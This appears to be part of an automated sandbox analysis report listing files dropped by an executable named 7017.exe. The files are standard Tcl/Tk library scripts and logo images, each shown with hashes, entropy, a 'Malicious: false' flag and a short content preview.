SHA-256:	30CE631CB1CCCD20570018162C6FFEF31BAD378EF5B2DE2D982C96E65EB62EF6
SHA-512:	28617F8553766CA7A66F438624AFA5FD7780F93DC9EBDF9BEE865B5649228AA56A69189218FC436CEDF2E5FE3162AD88839CBF49C9CC051238A7559B5C3BA726
Malicious:	false
Preview:	# choosedir.tcl --.#.#.Choose directory dialog implementation for Unix/Mac..#.# Copyright (c) 1998-2000 by Scriptics Corporation..# All rights reserved...# Make sure the tk::dialog namespace, in which all dialogs should live, exists.namespace eval ::tk::dialog {}.namespace eval ::tk::dialog::file {}..# Make the chooseDir namespace inside the dialog namespace.namespace eval ::tk::dialog::file::chooseDir {. namespace import -force ::tk::msgcat::*.}..# ::tk::dialog::file::chooseDir:: --.#.#.Implements the TK directory selection dialog..#.# Arguments:.#.args..Options parsed by the procedure..#.proc ::tk::dialog::file::chooseDir:: {args} {. variable ::tk::Priv. set dataName __tk_choosedir. upvar ::tk::dialog::file::$dataName data. Config $dataName $args.. if {$data(-parent) eq "."} {. set w .$dataName. } else {. set w $data(-parent).$dataName. }.. # (re)create the dialog box if necessary. #. if {![winfo exists $w]} {..::tk::dialog::file::Create

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\clrpick.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	21432
Entropy (8bit):	4.987740767386718
Encrypted:	false
SSDEEP:	384:HDJsgeqJelEu6i1T26UYdTVDyPHxQlufbSIjVjrdOqAQBxhKN2zD5Ed9bmqU/FC6:jagJJnBfxQef9
MD5:	E5E462E0EE0C57B31DAEECB07D038488
SHA1:	E67B3410A7BCECE8B5159AB5327910038096A67B
SHA-256:	823F6E4BAF5D10185D990B3FBCB8BFB4D5F4B6ED62203EE229922B6B32FE39D4
SHA-512:	F8442F21E389FF9A3FC5BECCE8811F8554DEF94FBB8F184026396A87AEA37E8108A3E1B3C76FEA2CFBE4E81B2C5FC2BB8A60BE2B9831CC96CB25DAB177616238
Malicious:	false
Preview:	# clrpick.tcl --.#.#.Color selection dialog for platforms that do not support a.#.standard color selection dialog..#.# Copyright (c) 1996 Sun Microsystems, Inc..#.# See the file "license.terms" for information on usage and redistribution.# of this file, and for a DISCLAIMER OF ALL WARRANTIES..#.# ToDo:.#.#.(1): Find out how many free colors are left in the colormap and.#. don't allocate too many colors..#.(2): Implement HSV color selection..#..# Make sure namespaces exist.namespace eval ::tk {}.namespace eval ::tk::dialog {}.namespace eval ::tk::dialog::color {. namespace import ::tk::msgcat::*.}..# ::tk::dialog::color:: --.#.#.Create a color dialog and let the user choose a color. This function.#.should not be called directly. It is called by the tk_chooseColor.#.function when a native color selector widget does not exist.#.proc ::tk::dialog::color:: {args} {. variable ::tk::Priv. set dataName __tk__color. upvar ::tk::dialog::color::$dataName data. set w .$dataName.

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\comdlg.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8229
Entropy (8bit):	5.0540566175865
Encrypted:	false
SSDEEP:	192:Aq7cPy5HEOjKU8QHyWpSWNRYs50asAZ5QWlO+W0WvHv/3WvWHwV7vWKpTTk:Aq7c6HJjKCyWpZNRYEVVET1rvveuHSOT
MD5:	427CCBD25BB1559B9B21A80131658140
SHA1:	B675C0C1B02A527B13AA5DE2AE5A1AA754E9815D
SHA-256:	586CB7A3C32566EFEB46036A19D07E91194CE8EDAF0D47F3C93BCC974E6EE3E1
SHA-512:	FEA82D6D7DBAF52EE1883241170BA95396EC282CDD4F682077A238B4FD9A47C4CE6F84B1B4829A86580A4AB794820E6CD4C1E98CFB7BDCE23E09B54566BD6443
Malicious:	false
Preview:	# comdlg.tcl --.#.#.Some functions needed for the common dialog boxes. Probably need to go.#.in a different file..#.# Copyright (c) 1996 Sun Microsystems, Inc..#.# See the file "license.terms" for information on usage and redistribution.# of this file, and for a DISCLAIMER OF ALL WARRANTIES..#..# tclParseConfigSpec --.#.#.Parses a list of "-option value" pairs. If all options and.#.values are legal, the values are stored in.#.$data($option). Otherwise an error message is returned. When.#.an error happens, the data() array may have been partially.#.modified, but all the modified members of the data(0 array are.#.guaranteed to have valid values. This is different than.#.Tk_ConfigureWidget() which does not modify the value of a.#.widget record if any error occurs..#.# Arguments:.#.# w = widget record to modify. Must be the pathname of a widget..#.# specs = {.# {-commandlineswitch resourceName ResourceClass defaultValue verifier}.# {....}.# }.#.# flags = currently unused..#.# argList

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\console.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	32784
Entropy (8bit):	4.906598115585926
Encrypted:	false
SSDEEP:	384:GkptctbjWz4xjtyU/W1ZQWSLEwYGl7nZH5J+ry3+uQlLW44qvRHRJStCO2FfB25b:GkpeZWz4miZeG7J+rMYXaGGWFOYoV
MD5:	8B5B8B6D49F4CA36B8662923DCF9A46C
SHA1:	BCD6CA7451BDFB22311D9D54FBABB116D4A7A687
SHA-256:	7E1EAA998B1D661E9B4B72A4598A534B8311AB75D444525DD613EC73F8126750
SHA-512:	D7E20377E2FBD147A68E4B647D4F09A1894A203F2FA5435B09AD2B6998FFC2F70222BD2808B6A1D1B6A96271F04E7C7A4E6AB0EAE4C97C7C728A6645C499391F
Malicious:	false
Preview:	# console.tcl --.#.# This code constructs the console window for an application. It.# can be used by non-unix systems that do not have built-in support.# for shells..#.# Copyright (c) 1995-1997 Sun Microsystems, Inc..# Copyright (c) 1998-2000 Ajuba Solutions..# Copyright (c) 2007-2008 Daniel A. Steffen <das@users.sourceforge.net>.#.# See the file "license.terms" for information on usage and redistribution.# of this file, and for a DISCLAIMER OF ALL WARRANTIES..#..# TODO: history - remember partially written command..namespace eval ::tk::console {. variable blinkTime 500 ; # msecs to blink braced range for. variable blinkRange 1 ; # enable blinking of the entire braced range. variable magicKeys 1 ; # enable brace matching and proc/var recognition. variable maxLines 600 ; # maximum # of lines buffered in console. variable showMatches 1 ; # show multiple expand matches. variable useFontchooser [llength [info command ::tk::fontchooser]]. variable inPlugi

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\dialog.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6025
Entropy (8bit):	4.79563398407639
Encrypted:	false
SSDEEP:	96:WfPQCAV8OgciKHKKcmQH+DmlYm4Kapo9mBc//IWxIb:WfPQCAVviKHKK4H+DmT4Kapo4cnDOb
MD5:	EAC165BD7EA915B44FAEC016250E0B06
SHA1:	7D205F2720E00FBDA5C0AA908CAC3F66BBC84E56
SHA-256:	6D7BD4A280272E7A2748555CFFFF4FCA7CC57CE611AEB2382E3C80CDD1868D22
SHA-512:	22D5794E1FF3B94365C560A310CC17B4A27BEA87DBF423DFB44273443477372013B19ED33E170EAB15A1F06BA9186BA2FC184A3751449E7EDC760D23A12B1666
Malicious:	false
Preview:	# dialog.tcl --.#.# This file defines the procedure tk_dialog, which creates a dialog.# box containing a bitmap, a message, and one or more buttons..#.# Copyright (c) 1992-1993 The Regents of the University of California..# Copyright (c) 1994-1997 Sun Microsystems, Inc..#.# See the file "license.terms" for information on usage and redistribution.# of this file, and for a DISCLAIMER OF ALL WARRANTIES..#..#.# ::tk_dialog:.#.# This procedure displays a dialog box, waits for a button in the dialog.# to be invoked, then returns the index of the selected button. If the.# dialog somehow gets destroyed, -1 is returned..#.# Arguments:.# w -..Window to use for dialog top-level..# title -.Title to display in dialog's decorative frame..# text -.Message to display in dialog..# bitmap -.Bitmap to display in dialog (empty string means none)..# default -.Index of button that is to display the default ring.#..(-1 means none)..# args -.One or more strings to display in buttons across the.#..bottom of t

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\entry.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16950
Entropy (8bit):	4.934745561122632
Encrypted:	false
SSDEEP:	384:P/eFkH2fRdOnOeQod3tCAERebMIDlXVQgXwVviw:P2FDqUy8V
MD5:	BE28D16510EE78ECC048B2446EE9A11A
SHA1:	4829D6E8AB8A283209FB4738134B03B7BD768BAD
SHA-256:	8F57A23C5190B50FAD00BDEE9430A615EBEBFC47843E702374AE21BEB2AD8B06
SHA-512:	F56AF7020531249BC26D88B977BAFFC612B6566146730A681A798FF40BE9EBC04D7F80729BAFE0B9D4FAC5B0582B76F9530F3FE376D42A738C9BC4B3B442DF1F
Malicious:	false
Preview:	# entry.tcl --.#.# This file defines the default bindings for Tk entry widgets and provides.# procedures that help in implementing those bindings..#.# Copyright (c) 1992-1994 The Regents of the University of California..# Copyright (c) 1994-1997 Sun Microsystems, Inc..#.# See the file "license.terms" for information on usage and redistribution.# of this file, and for a DISCLAIMER OF ALL WARRANTIES..#..#-------------------------------------------------------------------------.# Elements of tk::Priv that are used in this file:.#.# afterId -..If non-null, it means that auto-scanning is underway.#...and it gives the "after" id for the next auto-scan.#...command to be executed..# mouseMoved -..Non-zero means the mouse has moved a significant.#...amount since the button went down (so, for example,.#...start dragging out a selection)..# pressX -..X-coordinate at which the mouse button was pressed..# selectMode -..The style of selection currently underway:.#...char, word, or line..# x, y -..La

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\focus.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4857
Entropy (8bit):	4.7675047842795895
Encrypted:	false
SSDEEP:	96:mumhRUI7F2WyHm6BUyNhEf6jUHKRUI7F2WyQe6L763AcnK0/61sk2ko5AgEplauw:ERUQFU52CNRUQFpLOQIG1sk2TCLplauw
MD5:	7EA007F00BF194722FF144BE274C2176
SHA1:	6835A515E85A9E55D5A27073DAE1F1A5D7424513
SHA-256:	40D4E101A64B75361F763479B01207AE71535337E79CE6E162265842F6471EED
SHA-512:	E2520EB065296C431C71DBBD5503709CF61F93E74FE324F4F8F3FE13131D62435B1E124D38E2EC84939B92198A54B8A71DFC0A8D32F0DD94139C54068FBCAAF2
Malicious:	false
Preview:	# focus.tcl --.#.# This file defines several procedures for managing the input.# focus..#.# Copyright (c) 1994-1995 Sun Microsystems, Inc..#.# See the file "license.terms" for information on usage and redistribution.# of this file, and for a DISCLAIMER OF ALL WARRANTIES..#..# ::tk_focusNext --.# This procedure returns the name of the next window after "w" in.# "focus order" (the window that should receive the focus next if.# Tab is typed in w). "Next" is defined by a pre-order search.# of a top-level and its non-top-level descendants, with the stacking.# order determining the order of siblings. The "-takefocus" options.# on windows determine whether or not they should be skipped..#.# Arguments:.# w -..Name of a window...proc ::tk_focusNext w {. set cur $w. while {1} {...# Descend to just before the first child of the current widget....set parent $cur..set children [winfo children $cur]..set i -1...# Look for the next sibling that isn't a top-level....while {1} {.. incr i..

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\fontchooser.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	15840
Entropy (8bit):	4.7139053935905535
Encrypted:	false
SSDEEP:	384:hrAVUJgzMAP2Xg7V5M8Zyc8Ck/YN9G4EM8CPo:hrAVUJgzMAP2Xg7V5MgycO/YpEX
MD5:	9324DBBE37502E149474E05A3448B6E3
SHA1:	5584B4EE3BF25E95EE6919437D066586060B6E36
SHA-256:	CEB558FB76A2C85924CD5F7D3A64E77582E1D461DD9A3C10FEDB4608AD440F5B
SHA-512:	C688676452F89EC432E93A64AC369CC0B82B19D8D38D2C4034888551591F59D87548FAE12A98EE7735540779566DEB400C27BEAD2C141A9F971BAF9E61C218C6
Malicious:	false
Preview:	# fontchooser.tcl -.#.#.A themeable Tk font selection dialog. See TIP #324..#.# Copyright (C) 2008 Keith Vetter.# Copyright (C) 2008 Pat Thoyts <patthoyts@users.sourceforge.net>.#.# See the file "license.terms" for information on usage and redistribution.# of this file, and for a DISCLAIMER OF ALL WARRANTIES...namespace eval ::tk::fontchooser {. variable S.. set S(W) .__tk__fontchooser. set S(fonts) [lsort -dictionary [font families]]. set S(styles) [list \. [::msgcat::mc "Regular"] \. [::msgcat::mc "Italic"] \. [::msgcat::mc "Bold"] \. [::msgcat::mc "Bold Italic"] \. ].. set S(sizes) {8 9 10 11 12 14 16 18 20 22 24 26 28 36 48 72}. set S(strike) 0. set S(under) 0. set S(first) 1. set S(sampletext) [::msgcat::mc "AaBbYyZz01"]. set S(-parent) .. set S(-title) [::msgcat::mc "Font"]. set S(-command) "". set S(-font) TkDefaultFont.}..proc ::tk:

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\iconlist.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	Tcl script, ASCII text
Category:	dropped
Size (bytes):	15978
Entropy (8bit):	4.8947909611129905
Encrypted:	false
SSDEEP:	192:xj0OECzN+8JERNLKZhbgIDx3VM5BxBTSgvpn8WYYW5Xb50To3u8PYHPtJYa5PWDx:xrDJE36a7BegvV8hFI8gvXaSn9HqD/U0
MD5:	105529990CEE968AA5EE3BC827A81A0F
SHA1:	559BD1AABD1D4719EDB60448CF111F78365A57A9
SHA-256:	DE0195CCFB6482CCA390C94E91B7877F47742E7A9468CAF362B39AA36305D33C
SHA-512:	03CB42DFF7AC4F801AA7FFE8A4F07555CCE6874AA1B7F568ACF0299E4DD7F440179838485777F15183EE7C057CCB35868672B1783FBFE67B51D97DBBDAC85281
Malicious:	false
Preview:	# iconlist.tcl.#.#.Implements the icon-list megawidget used in the "Tk" standard file.#.selection dialog boxes..#.# Copyright (c) 1994-1998 Sun Microsystems, Inc..# Copyright (c) 2009 Donal K. Fellows.#.# See the file "license.terms" for information on usage and redistribution of.# this file, and for a DISCLAIMER OF ALL WARRANTIES..#.# API Summary:.#.tk::IconList <path> ?<option> <value>? ....#.<path> add <imageName> <itemList>.#.<path> cget <option>.#.<path> configure ?<option>? ?<value>? ....#.<path> deleteall.#.<path> destroy.#.<path> get <itemIndex>.#.<path> index <index>.#.<path> invoke.#.<path> see <index>.#.<path> selection anchor ?<int>?.#.<path> selection clear <first> ?<last>?.#.<path> selection get.#.<path> selection includes <item>.#.<path> selection set <first> ?<last>?...package require Tk 8.6..::tk::Megawidget create ::tk::IconList ::tk::FocusableWidget {. variable w canvas sbar accel accelCB fill font index \..itemList itemsPerColumn list maxIH maxIW maxTH maxTW noSc

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\icons.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	10883
Entropy (8bit):	6.026473720997027
Encrypted:	false
SSDEEP:	192:TJjPyYK20kt4zHIXM2MxGwwOw0ac5lCssUOixDgzAjTXBHVXPZmEhr:pO2gz6MioacR2iBgzsFHX5r
MD5:	2652AAD862E8FE06A4EEDFB521E42B75
SHA1:	ED22459AD3D192AB05A01A25AF07247B89DC6440
SHA-256:	A78388D68600331D06BB14A4289BC1A46295F48CEC31CEFF5AE783846EA4D161
SHA-512:	6ECFBB8D136444A5C0DBBCE2D8A4206F1558BDD95F111D3587B095904769AC10782A9EA125D85033AD6532EDF3190E86E255AC0C0C81DC314E02D95CCA86B596
Malicious:	false
Preview:	# icons.tcl --.#.#.A set of stock icons for use in Tk dialogs. The icons used here.#.were provided by the Tango Desktop project which provides a.#.unified set of high quality icons licensed under the.#.Creative Commons Attribution Share-Alike license.#.(http://creativecommons.org/licenses/by-sa/3.0/).#.#.See http://tango.freedesktop.org/Tango_Desktop_Project.#.# Copyright (c) 2009 Pat Thoyts <patthoyts@users.sourceforge.net>..namespace eval ::tk::icons {}..image create photo ::tk::icons::warning -data {. iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABHNCSVQICAgIfAhkiAAABSZJREFU. WIXll1toVEcYgL+Zc87u2Yu7MYmrWRuTJuvdiMuqiJd4yYKXgMQKVkSjFR80kFIVJfWCWlvpg4h9. 8sXGWGof8iKNICYSo6JgkCBEJRG8ImYThNrNxmaTeM7pQ5IlJkabi0/9YZhhZv7///4z/8zPgf+7. KCNRLgdlJijXwRyuDTlcxV9hbzv8nQmxMjg+XDtiOEplkG9PSfkztGmTgmFQd+FCVzwa3fYN/PHZ. AcpBaReicW5xcbb64IEQqko8Lc26d/58cxS+/BY6hmJvyEfQBoUpwWCmW1FErKaGWHU13uRk4QkE. UtxQNFR7QwIoB4eiKD9PWbVKbb10CZmaCqmpxCormRYO26QQx85B0mcD+AeK0xYvHqu1tNDx+DH6. g

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\images\README

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	4.341180398587801
Encrypted:	false
SSDEEP:	6:nVhmHdeA1xNZgkrIf3Ju4dFi6VbGWrWhr3W7FxmVFraGVAJFKyVQR7icrtpwB:nPqf1fZgZA4FJbB6dm7FUjAJVVMM
MD5:	FC8A86E10C264D42D28E23D9C75E7EE5
SHA1:	F1BA322448D206623F8FE734192F383D8F7FA198
SHA-256:	2695ADFF8E900C31B4D86414D22B8A49D6DD865CA3DD99678FA355CDC46093A8
SHA-512:	29C2DF0D516B5FC8E52CB61CFCD07AF9C90B40436DFE64CEFDB2813C0827CE65BA50E0828141256E2876D4DC251E934A6854A8E0B02CDAF466D0389BD778AEF0
Malicious:	false
Preview:	README - images directory..This directory includes images for the Tcl Logo and the Tcl Powered.Logo. Please feel free to use the Tcl Powered Logo on any of your.products that employ the use of Tcl or Tk. The Tcl logo may also be.used to promote Tcl in your product documentation, web site or other.places you so desire..

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\images\logo.eps

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	PostScript document text conforming DSC level 3.0, type EPS
Category:	dropped
Size (bytes):	32900
Entropy (8bit):	5.235207715374815
Encrypted:	false
SSDEEP:	768:gGTVOEcRWsdEmhp6k/GLrPMlK3pJr/IbYDGDMtBF2Fz6fsFA/fSvqHWukLI2d0Nr:gGTVOEcRWsdEvLrPJ5Jr/IbYDGDMtBFh
MD5:	45175418859AF67FE417BD0A053DB6E5
SHA1:	2B499B7C4EBC8554ECC07B8408632CAF407FB6D5
SHA-256:	F3E77FD94198EC4783109355536638E9162F9C579475383074D024037D1797D3
SHA-512:	114A59FD6B99FFD628BA56B8E14FB3B59A0AB6E752E18DEA038F85DBC072BF98492CE9369D180C169EDE9ED2BD521D8C0D607C5E4988F2C83302FC413C6D6A4C
Malicious:	false
Preview:	%!PS-Adobe-3.0 EPSF-3.0.%%Creator: Adobe Illustrator(TM) 5.5.%%For: (Bud Northern) (Mark Anderson Design).%%Title: (TCL/TK LOGO.ILLUS).%%CreationDate: (8/1/96) (4:58 PM).%%BoundingBox: 251 331 371 512.%%HiResBoundingBox: 251.3386 331.5616 370.5213 511.775.%%DocumentProcessColors: Cyan Magenta Yellow.%%DocumentSuppliedResources: procset Adobe_level2_AI5 1.0 0.%%+ procset Adobe_IllustratorA_AI5 1.0 0.%AI5_FileFormat 1.2.%AI3_ColorUsage: Color.%%DocumentCustomColors: (TCL RED).%%CMYKCustomColor: 0 0.45 1 0 (Orange).%%+ 0 0.25 1 0 (Orange Yellow).%%+ 0 0.79 0.91 0 (TCL RED).%AI3_TemplateBox: 306 396 306 396.%AI3_TileBox: 12 12 600 780.%AI3_DocumentPreview: Macintosh_ColorPic.%AI5_ArtSize: 612 792.%AI5_RulerUnits: 0.%AI5_ArtFlags: 1 0 0 1 0 0 1 1 0.%AI5_TargetResolution: 800.%AI5_NumLayers: 1.%AI5_OpenToView: 90 576 2 938 673 18 1 1 2 40.%AI5_OpenViewLayers: 7.%%EndComments.%%BeginProlog.%%BeginResource: procset Adobe_level2_AI5 1.0 0.%%Title: (Adobe Illustrator (R) Version 5.0 Level 2 Emul

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\images\logo100.gif

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	GIF image data, version 89a, 68 x 100
Category:	dropped
Size (bytes):	2341
Entropy (8bit):	6.9734417899888665
Encrypted:	false
SSDEEP:	48:qF/mIXn3l7+ejbL/4nZEsKPKer1OPQqVRqJbPpRRKOv/UVO47f:81nHL4T0KorxvRKkc847f
MD5:	FF04B357B7AB0A8B573C10C6DA945D6A
SHA1:	BCB73D8AF2628463A1B955581999C77F09F805B8
SHA-256:	72F6B34D3C8F424FF0A290A793FCFBF34FD5630A916CD02E0A5DDA0144B5957F
SHA-512:	10DFE631C5FC24CF239D817EEFA14329946E26ED6BCFC1B517E2F9AF81807977428BA2539AAA653A89A372257D494E8136FD6ABBC4F727E6B199400DE05ACCD5
Malicious:	false
Preview:	GIF89aD.d...............f..3.............f..3..............f..3....f..f..f..ff.f3.f..3..3..3..3f.33.3............f..3..............f..3.............f..3..........f.3...f..f..f..ff.f3.f..3..3..3..3f.33.3............f..3.............f..3............f..3.............f..3....f..f.f..ff.f3.f..3..3.3..3f.33.3...........f..3...f..f..f..f.ff.3f..f..f..f.f.ff.3f..f..f..f..f.ff.3f..ff.ff.ff.fffff3ff.f3.f3.f3.f3ff33f3.f..f..f..f.ff.3f..3..3..3..3.f3.33..3..3..3.3.f3.33..3..3..3..3.f3.33..3f.3f.3f.3ff3f33f.33.33.33.33f33333.3..3..3..3.f3.33.............f..3.............f..3..............f..3....f..f..f..ff.f3.f..3..3..3..3f.33.3............f..3...............w..U..D..".....................w..U..D..".....................w..U..D..".................wwwUUUDDD"""......,....D.d........H......\...z..Ht@Q...92.p...z.$.@@.E..u.Y.2..0c..q.cB.,[..... ..1..qbM.2~].....s...S.@.L.j..#..\......h..........].D(..m......@.Z....oO...3=.c...G".(..pL...q]..%....[...#...+...X.h....^.....

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\images\logo64.gif

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	GIF image data, version 89a, 43 x 64
Category:	dropped
Size (bytes):	1670
Entropy (8bit):	6.326462043862671
Encrypted:	false
SSDEEP:	48:PF/mIXn3l7+ejbL/4xsgq4sNC6JYp6s/pmp76F:/1nHL404raM/op2
MD5:	B226CC3DA70AAB2EBB8DFFD0C953933D
SHA1:	EA52219A37A140FD98AEA66EA54685DD8158D9B1
SHA-256:	138C240382304F350383B02ED56C69103A9431C0544EB1EC5DCD7DEC7A555DD9
SHA-512:	3D043F41B887D54CCADBF9E40E48D7FFF99B02B6FAF6B1DD0C6C6FEF0F8A17630252D371DE3C60D3EFBA80A974A0670AF3747E634C59BDFBC78544D878D498D4
Malicious:	false
Preview:	GIF89a+.@...............f..3.............f..3..............f..3....f..f..f..ff.f3.f..3..3..3..3f.33.3............f..3..............f..3.............f..3..........f.3...f..f..f..ff.f3.f..3..3..3..3f.33.3............f..3.............f..3............f..3.............f..3....f..f.f..ff.f3.f..3..3.3..3f.33.3...........f..3...f..f..f..f.ff.3f..f..f..f.f.ff.3f..f..f..f..f.ff.3f..ff.ff.ff.fffff3ff.f3.f3.f3.f3ff33f3.f..f..f..f.ff.3f..3..3..3..3.f3.33..3..3..3.3.f3.33..3..3..3..3.f3.33..3f.3f.3f.3ff3f33f.33.33.33.33f33333.3..3..3..3.f3.33.............f..3.............f..3..............f..3....f..f..f..ff.f3.f..3..3..3..3f.33.3............f..3...............w..U..D..".....................w..U..D..".....................w..U..D..".................wwwUUUDDD"""......,....+.@........H. .z..(tp......@...92....#. A.......C.\.%...)Z..1a.8s..W/..@....3..C...y$.GW.....5.FU..j..;.F(Pc+W.-..X.D-[.*g....F..`.:mkT...Lw...A/.....u.7p..a..9P.....q2..Xg..G....3}AKv.\.d..yL.>..1.#

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\images\logoLarge.gif

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	GIF image data, version 89a, 354 x 520
Category:	dropped
Size (bytes):	11000
Entropy (8bit):	7.88559092427108
Encrypted:	false
SSDEEP:	192:d+nY6zludc/We/yXy9JHBUoIMSapQdrGlapzmyNMK1vbXkgMmgFW/KxIq3NhZe:YnY6p4c/OCHyowaGUaCcMK1vbXNwFW/l
MD5:	45D9B00C4CF82CC53723B00D876B5E7E
SHA1:	DDD10E798AF209EFCE022E97448E5EE11CEB5621
SHA-256:	0F404764D07A6AE2EF9E1E0E8EAAC278B7D488D61CF1C084146F2F33B485F2ED
SHA-512:	6E89DACF2077E1307DA05C16EF8FDE26E92566086346085BE10A7FD88658B9CDC87A3EC4D17504AF57D5967861B1652FA476B2DDD4D9C6BCFED9C60BB2B03B6F
Malicious:	false
Preview:	GIF89ab.................f..3.............f..3..............f..3....f..f..f..ff.f3.f..3..3..3..3f.33.3............f..3..............f..3.............f..3..........f.3...f..f..f..ff.f3.f..3..3..3..3f.33.3............f..3.............f..3............f..3.............f..3....f..f.f..ff.f3.f..3..3.3..3f.33.3...........f..3...f..f..f..f.ff.3f..f..f..f.f.ff.3f..f..f..f..f.ff.3f..ff.ff.ff.fffff3ff.f3.f3.f3.f3ff33f3.f..f..f..f.ff.3f..3..3..3..3.f3.33..3..3..3.3.f3.33..3..3..3..3.f3.33..3f.3f.3f.3ff3f33f.33.33.33.33f33333.3..3..3..3.f3.33.............f..3.............f..3..............f..3....f..f..f..ff.f3.f..3..3..3..3f.33.3............f..3...............w..U..D..".....................w..U..D..".....................w..U..D..".................wwwUUUDDD"""......,....b..........H......\....#J.H....3j.... '.;p....(.8X..^.0c.I...z8O.\.....:....$..Fu<8`...P.>%I.gO.C.h-..+.`....@..h....dJ.?...K...H.,U.._.#...g..[.^.x.....J.L.!.'........=+eZ..i..ynF.8...].y\|..m.

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\images\logoMed.gif

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	GIF image data, version 87a, 120 x 181
Category:	dropped
Size (bytes):	3889
Entropy (8bit):	7.425138719078912
Encrypted:	false
SSDEEP:	48:9qqbIh+cE4C8ric/jxK5mxsFBu3/0GIJ6Qap1Y5uMiR8pw5rB/SgijDb+TOh:hy+mnZ7xK5IsTwDQmkdiiG5rB/BE+6h
MD5:	BD12B645A9B0036A9C24298CD7A81E5A
SHA1:	13488E4F28676F1E0CE383F80D13510F07198B99
SHA-256:	4D0BD3228AB4CC3E5159F4337BE969EC7B7334E265C99B7633E3DAF3C3FCFB62
SHA-512:	F62C996857CA6AD28C9C938E0F12106E0DF5A20D1B4B0B0D17F6294A112359BA82268961F2A054BD040B5FE4057F712206D02F2E668675BBCF6DA59A4DA0A1BB
Malicious:	false
Preview:	GIF87ax............................................................................z.....{..o.....m..b...`{.X....vy...hk.Um.N...I`.D..Z^.LP.?R.;!....?C.5C.3#.l..,6.&.15...`..#(.If.y.....l...._..#/...Hm.>_.y..4R.k..#6..._......w..K.^.."<.....G{.w..3_."C.Q..F....v..!K...v.2m.)_.[..!R.u.1t.g..)f. X.O..E..1z.g. _.Z..D..:..0..Z.. f.D..0..'z..m.N..C../.z.svC.q/.m.ze7.\..P..I..1%.,...............................................................................................................................................................................................................................................................................................................................................................................................,....x..........H.......D..!...7.PAQ...._l8.... C.<.a...*.x....0q.. ..M.%.<.HBe.@.....Q..7..XC..P..<z3..X...P.jA.%'@.J.lV.......R.,..+....t....7h.....(..a...+^.'..7..L.....V...s..$....a.....8`.9..}K......

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\images\pwrdLogo.eps

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	PostScript document text conforming DSC level 3.0, type EPS
Category:	dropped
Size (bytes):	27809
Entropy (8bit):	5.331778921404698
Encrypted:	false
SSDEEP:	768:geQTVOEcRWsdEmhp6k/GLrPMlK3pJrNIbYDGDMtBgu2Fz6lR5G/r+FWaGK:gnTVOEcRWsdEvLrPJ5JrNIbYDGDMtB9L
MD5:	BA1051DBED2B8676CAA24593B88C91B2
SHA1:	8A58FC19B20BFDC8913515D9B32CCBF8ACF92344
SHA-256:	2944EBC4AF1894951BF9F1250F4E6EDF811C2183745950EA9A8A926715882CF7
SHA-512:	4260CEBA7DA9463F32B0C76A2AC19D2B20C8FE48CFBA3DC7AF748AAE15FA25DCBDA085072DF7EFC8F4B4F304C7ED166FE9F93DC903E32FA1874E82D59E544DEF
Malicious:	false
Preview:	%!PS-Adobe-3.0 EPSF-3.0.%%Creator: Adobe Illustrator(TM) 5.5.%%For: (Bud Northern) (Mark Anderson Design).%%Title: (TCL PWRD LOGO.ILLUS).%%CreationDate: (8/1/96) (4:59 PM).%%BoundingBox: 242 302 377 513.%%HiResBoundingBox: 242.0523 302.5199 376.3322 512.5323.%%DocumentProcessColors: Cyan Magenta Yellow.%%DocumentSuppliedResources: procset Adobe_level2_AI5 1.0 0.%%+ procset Adobe_IllustratorA_AI5 1.0 0.%AI5_FileFormat 1.2.%AI3_ColorUsage: Color.%%CMYKCustomColor: 0 0.45 1 0 (Orange).%%+ 0 0.25 1 0 (Orange Yellow).%%+ 0 0.79 0.91 0 (PANTONE Warm Red CV).%%+ 0 0.79 0.91 0 (TCL RED).%AI3_TemplateBox: 306 396 306 396.%AI3_TileBox: 12 12 600 780.%AI3_DocumentPreview: Macintosh_ColorPic.%AI5_ArtSize: 612 792.%AI5_RulerUnits: 0.%AI5_ArtFlags: 1 0 0 1 0 0 1 1 0.%AI5_TargetResolution: 800.%AI5_NumLayers: 1.%AI5_OpenToView: 102 564 2 938 673 18 1 1 2 40.%AI5_OpenViewLayers: 7.%%EndComments.%%BeginProlog.%%BeginResource: procset Adobe_level2_AI5 1.0 0.%%Title: 